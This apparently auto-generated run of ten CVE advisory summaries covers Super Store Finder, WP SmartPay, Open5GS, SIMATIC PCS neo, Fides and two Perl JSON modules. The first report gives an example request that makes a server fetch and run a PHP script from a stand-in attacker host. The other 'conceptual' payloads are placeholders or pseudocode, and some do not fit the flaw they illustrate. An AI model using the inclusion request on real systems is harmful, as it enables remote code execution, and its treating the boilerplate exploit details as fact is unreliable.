Author: Ameeba

Overview

The report analyses CVE-2025-47571, a significant security vulnerability found in the Highwarden Super Store Finder. It involves an improper control of filename for the Include/Require statement in the PHP program, leading to PHP Remote File Inclusion. This vulnerability can potentially compromise systems and leak data, highlighting its severity and the urgency for mitigation.

Vulnerability Summary

CVE ID: CVE-2025-47571
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Highwarden Super Store Finder | Up to 6.9.7

How the Exploit Works

The exploit takes advantage of a flaw in the PHP program’s control of filenames for Include/Require statements in Highwarden Super Store Finder. An attacker can manipulate these statements to include a file from a remote server, allowing them to execute arbitrary code. This ability to run any code makes the system vulnerable to compromise and possible data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

POST /vulnerable/endpoint?php_include_url=http://malicious.example.com/malicious_script.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "data": "dummy_data" }

In the above example, the attacker includes a malicious PHP script (`malicious_script.php`) hosted on their server (`malicious.example.com`) via the `php_include_url` parameter in the HTTP POST request. The targeted server then fetches and executes this script, leading to a potential system compromise.

Mitigation

To mitigate this vulnerability, users of Highwarden Super Store Finder are advised to apply the vendor patch as soon as it becomes available. In the meantime, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary protection against this vulnerability.

Overview

This report examines the cybersecurity vulnerability identified as CVE-2025-32689. This vulnerability affects the WP SmartPay plugin from ThemesGrove, used widely across various websites for payment processing. The vulnerability arises from improper validation of specified quantity in input, leading to potential system compromise or data leakage. It is critical to address this vulnerability due to its potential to compromise sensitive user data.

Vulnerability Summary

CVE ID: CVE-2025-32689
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

ThemesGrove WP SmartPay | n/a through 2.7.13

How the Exploit Works

The vulnerability exploits the improper validation of specified quantity in input in ThemesGrove WP SmartPay. An attacker can manipulate the input data, causing an overflow or underflow condition. This can lead to unauthorized access, modification of data, or even system compromise.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example uses a malicious HTTP POST request to send manipulated quantity data to the server.

POST /wp-smartpay/checkout HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "product_id": "1234", "quantity": "1000000000000" }

In this example, the ‘quantity’ field in the JSON payload is filled with an excessively large value, potentially causing an overflow condition that could lead to unauthorized system access or data leakage.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation to monitor and block potentially harmful traffic. Regularly monitoring system logs for any suspicious activities can also aid in early detection and response.

Overview

The vulnerability CVE-2025-52322 is a significant cybersecurity issue found in Open5GS v2.7.2 and earlier versions. Open5GS, a software stack for 5G, is used extensively across various industries, making the impact of this vulnerability widespread. The issue allows a remote attacker to cause a denial-of-service (DoS) attack, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-52322
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, potential system compromise, or data leakage

Affected Products

Product | Affected Versions

Open5GS | v2.7.2 and before

How the Exploit Works

The vulnerability exploits a flaw in the way Open5GS handles the Create Session Request message to the Session Management Function (SMF). An attacker can craft a special Create Session Request message using the IP address of a legitimate User Equipment (UE) in the Packet Data Network Address Allocation (PAA) field. This malicious request causes the software to crash, resulting in a denial of service.

Conceptual Example Code

The below pseudocode demonstrates how an attacker might exploit the vulnerability:

# Pseudo code for exploit
def exploit(target_ip, legitimate_ue_ip):
# Craft the malicious Create Session Request message
message = create_session_request()
message.set_paa_field(legitimate_ue_ip)
# Send the message to the target
send_message(target_ip, message)

Note: The actual exploit would likely involve more complex code and a deeper understanding of the Open5GS protocol and message structure. The provided example is a simplified representation meant to illustrate the basic concept of the exploit.

Mitigation Guidance

To mitigate this vulnerability, users of Open5GS are advised to apply the vendor-provided patch as soon as possible. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These measures can help detect and block malicious Create Session Request messages, preventing the DoS attack.

Overview

CVE-2025-40798 is a high-risk vulnerability discovered in the User Management Component (UMC) of the SIMATIC PCS neo, versions V4.1 and V5.0. This vulnerability is significant due to its potential to allow an unauthenticated remote attacker to cause a Denial of Service (DoS) condition, potentially compromising the system or leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-40798
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

SIMATIC PCS neo V4.1 | All versions
SIMATIC PCS neo V5.0 | All versions
User Management Component (UMC) | All versions < V2.15.1.3 How the Exploit Works

The vulnerability is the result of an out-of-bounds read error in the UMC component of SIMATIC PCS neo. An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted network packets to the affected system. If successfully exploited, this vulnerability could cause a denial of service condition, disrupting the affected system’s operations and potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of a malicious network packet that might exploit this vulnerability:

POST /UMC/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "exploit_payload": "Out-of-bounds read data" }

Please note that this is a hypothetical example and the actual exploit code could be different depending on the attacker’s approach and the specific configurations of the targeted system.

Mitigation Guidance

Affected users are advised to apply the latest patches from the vendor as soon as possible. If patching is not immediately possible, using Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) could serve as temporary mitigation, although this is not a long-term solution and patching the system is strongly recommended.

Overview

This report presents an in-depth look at a newly identified vulnerability, CVE-2025-40797, affecting the User Management Component (UMC) of Siemens’ SIMATIC PCS neo. This cybersecurity flaw could potentially grant unauthenticated remote players the ability to cause a denial of service condition, leading to potential system compromise and data leakage. The severity of this vulnerability underscores the importance of immediate mitigation.

Vulnerability Summary

CVE ID: CVE-2025-40797
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, Potential System Compromise, Data Leakage

Affected Products

Product | Affected Versions

SIMATIC PCS neo V4.1 | All versions
SIMATIC PCS neo V5.0 | All versions
User Management Component (UMC) | All versions < V2.15.1.3 How the Exploit Works

The exploit takes advantage of an out-of-bounds read vulnerability in the UMC of SIMATIC PCS neo. An unauthenticated attacker can send specially crafted network requests to the UMC, leading to an out-of-bounds read condition. This condition could cause the UMC to crash or behave unexpectedly, potentially causing a denial of service condition or even system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of how an attack could occur. In this case, an HTTP request is sent to the vulnerable endpoint with a malicious payload:

POST /UMC_vulnerable_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "Crafted string causing out-of-bounds read" }

Mitigation Guidance

Affected parties should apply the vendor patch as soon as possible to address this vulnerability. If the patch cannot be immediately applied, the use of a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation strategy. Regular updates and patches are the recommended way to guard against vulnerabilities such as CVE-2025-40797.

Overview

The cybersecurity vulnerability designated as CVE-2025-40796 is a critical issue affecting SIMATIC PCS neo V4.1, V5.0, and the User Management Component (UMC) in all versions prior to V2.15.1.3. The vulnerability is an out-of-bounds read issue in the integrated UMC component, which could allow an unauthenticated remote attacker to cause a denial of service condition.

Vulnerability Summary

CVE ID: CVE-2025-40796
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service, potential system compromise, and potential data leakage

Affected Products

Product | Affected Versions

SIMATIC PCS neo | V4.1 (All versions), V5.0 (All versions)
User Management Component (UMC) | All versions < V2.15.1.3 How the Exploit Works

An out-of-bounds read vulnerability exists in the integrated UMC component of the affected products. This vulnerability could be exploited by sending a specially crafted packet to the target system. An unauthenticated remote attacker could leverage this weakness to trigger a denial of service condition or potentially gain unauthorized access to the system.

Conceptual Example Code

Below is a conceptual example of a malicious packet that could potentially exploit this vulnerability:

POST /UMC/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "exploit_payload": "buffer_overflow_data" }

This packet contains an artificially large or malformed data payload that, when processed by the flawed UMC component, might cause an out-of-bounds read error, leading to a denial of service or possibly system compromise.
Note: This is a hypothetical example. Actual exploit code may vary significantly.

Overview

This report discusses the critical vulnerability CVE-2025-57816 that affects the Fides open-source privacy engineering platform. The vulnerability is related to the ineffective IP-based rate limiting in the Fides Webserver API, which potentially allows attackers to bypass the rate limits and cause denial of service. This vulnerability is significant due to its potential for causing system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-57816
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Fides | Prior to version 2.69.1

How the Exploit Works

The vulnerability lies in the Fides Webserver API’s built-in IP-based rate limiting feature. This feature, designed to protect the system from being overwhelmed by too many requests, is ineffective in environments with CDNs, proxies or load balancers. The system incorrectly applies rate limits based on directly connected infrastructure IPs rather than client IPs, and stores counters in-memory rather than in a shared store. This allows attackers to bypass intended rate limits and potentially cause denial of service.

Conceptual Example Code

An attacker could potentially exploit this vulnerability by sending numerous requests from different IPs or by using a proxy to change their IP after each request. Here is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /api/request HTTP/1.1
Host: target.example.com
X-Forwarded-For: attacker_proxy_ip
Content-Type: application/json
{ "request_data": "..." }

In this example, the attacker sends a POST request to the target server’s API, with the X-Forwarded-For header set to an IP address of their choosing. By changing this IP address for each request, the attacker can bypass the rate limiting and potentially overwhelm the server, leading to a denial of service.

Mitigation Guidance

Users are advised to apply the vendor patch (version 2.69.1) which fixes the issue. If the patch cannot be applied immediately, users may implement rate limiting externally at the infrastructure level using a Web Application Firewall (WAF), an Intrusion Detection System (IDS) or similar technology as a temporary mitigation method. This vulnerability only affects deployments that rely on Fides’s built-in rate limiting for protection. Deployments using external rate limiting solutions are not affected.

Overview

The vulnerability identified as CVE-2025-52288 is a serious flaw in Open5GS, specifically in its Access and Mobility Management Function (AMF) component. This vulnerability has the potential to affect any system utilizing Open5GS up to version 2.7.5. The severity of this issue lies in its ability to allow attackers to cause a denial of service or possibly compromise the system, leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-52288
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Open5GS | Up to 2.7.5

How the Exploit Works

The exploit works by taking advantage of an assertion failure in the ngap_build_downlink_nas_transport function in the src/amf/ngap-build.c file. Attackers can trigger this vulnerability by sending repeated UE connect and disconnect message sequences. This causes the AMF component to fail, leading to a denial of service. The exact unspecified impacts are not clear, but there is a potential for system compromise and data leakage.

Conceptual Example Code

Given the nature of this vulnerability, a conceptual example would involve sending repeated connect and disconnect messages to the target system. While it does not translate directly into a common code like HTTP or shell command, the pseudocode might look something like this:

while True:
send_ue_connect(target)
send_ue_disconnect(target)

In the above pseudocode, ‘send_ue_connect’ and ‘send_ue_disconnect’ are functions that would send the respective messages to the target. The loop would run indefinitely, causing stress on the AMF component and potentially triggering the vulnerability.

Mitigation Guidance

To mitigate the potential impacts of this vulnerability, it is recommended that users apply the vendor patch as soon as it becomes available. If the patch is not immediately available, using Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. However, these measures will not fully resolve the vulnerability but may help to minimize potential damage.

Overview

The vulnerability, CVE-2025-40930, is a significant security flaw affecting the JSON::SIMD Perl module, specifically versions before 1.07. This vulnerability has the potential to lead to system compromises, data leaks, and enable denial-of-service attacks. The severity of this vulnerability underlines its potential to disrupt system operations and compromise sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-40930
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

JSON::SIMD for Perl | Before 1.07

How the Exploit Works

This vulnerability is a buffer overflow issue. It stems from an improper validation of user-supplied input when parsing JSON data. Attackers can craft malicious JSON data that triggers an integer overflow, causing a segmentation fault. This can lead to a denial-of-service condition or potentially allow arbitrary code execution.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request, where the attacker sends a POST request with a malicious JSON payload:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "{'$gt': ''}" }

In this example, the malicious payload triggers an integer overflow, causing a segmentation fault in the JSON::SIMD Perl module, and potentially leading to arbitrary code execution or denial-of-service.

Mitigation Guidance

Users are advised to apply the vendor patch to fix this vulnerability. In the absence of a patch, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) may help to mitigate the risk temporarily.

Overview

The vulnerability CVE-2025-40928 pertains to JSON::XS for Perl before version 4.04. This vulnerability presents a significant risk to any systems or applications utilizing this package, as it can lead to a system compromise or data leakage. It is crucial for system administrators and developers to understand this vulnerability and apply appropriate mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-40928
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

JSON::XS for Perl | < 4.04 How the Exploit Works

The exploit takes advantage of an integer buffer overflow vulnerability in JSON::XS for Perl. The flaw allows an attacker to cause a segfault by parsing crafted JSON data. This can lead to denial of service attacks or other unspecified impacts.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. An attacker could send a specially crafted JSON payload to a vulnerable endpoint:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

In this example, the “malicious_payload” field contains the crafted JSON data that triggers the buffer overflow, leading to potential system compromise or data leakage.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor’s patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. It is recommended to update to JSON::XS version 4.04 or later to fully address the vulnerability.